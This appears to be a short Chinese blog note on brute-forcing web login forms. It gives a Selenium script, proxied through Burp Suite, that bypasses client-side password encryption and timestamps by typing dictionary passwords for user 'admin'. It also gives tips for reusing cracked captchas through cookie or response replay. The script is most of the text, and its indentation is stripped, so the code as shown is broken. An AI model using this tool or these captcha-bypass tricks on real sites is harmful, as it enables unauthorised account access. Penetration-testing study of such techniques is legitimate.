2个困扰我很久的问题,近期找到了解决方案,记录下。
1、数据加密
- 爆破登录框时,密码字段加密了,不知道加密算法
- 爆破验证码时,每次请求带有时间戳标记
以上两种情况burpsuite爆破时具有一定的局限性
解决:使用python的selenium库来模拟浏览器自动化点击,绕过加密和时间戳。
参考代码:
import time
from selenium import webdriver
#设置burpsuite代理
ops = webdriver.ChromeOptions()
ops.add_argument('--proxy-server=http://127.0.0.1:8080')
def start_chrome():
driver = webdriver.Chrome(executable_path='./chromedriver.exe',chrome_options=ops)
driver.start_client()
return driver
def find_info(sel):
elms = driver.find_element_by_css_selector(sel)
return elms
#url地址
url = ""
driver = start_chrome()
driver.get(url)
time.sleep(2)
#(用户名、密码、登录、登录失败)标签的位置
user_sel = "#userAccount"
pass_sel = "#userPassword"
login_sel = ".loginBut"
ignore_sel = ".ui_state_highlight"
#打开字典
f = open('top100.txt','r')
for line in f.readlines():
user_elms = find_info(user_sel)
pass_elms = find_info(pass_sel)
login_elms = find_info(login_sel)
#用户名
user_elms.send_keys("admin")
time.sleep(2)
pass_elms.send_keys(line.strip())
time.sleep(2)
login_elms.click()
time.sleep(2)
ignore_elms = find_info(ignore_sel)
ignore_elms.click()
2、验证码单次失效
验证码爆破出来了,但是再次提交返回验证码错误。
- 记录爆破成功时返回的cookie,添加和替换正确的cookie
- 记录爆破成功时的返回包,替换proxy里面的返回包
网友评论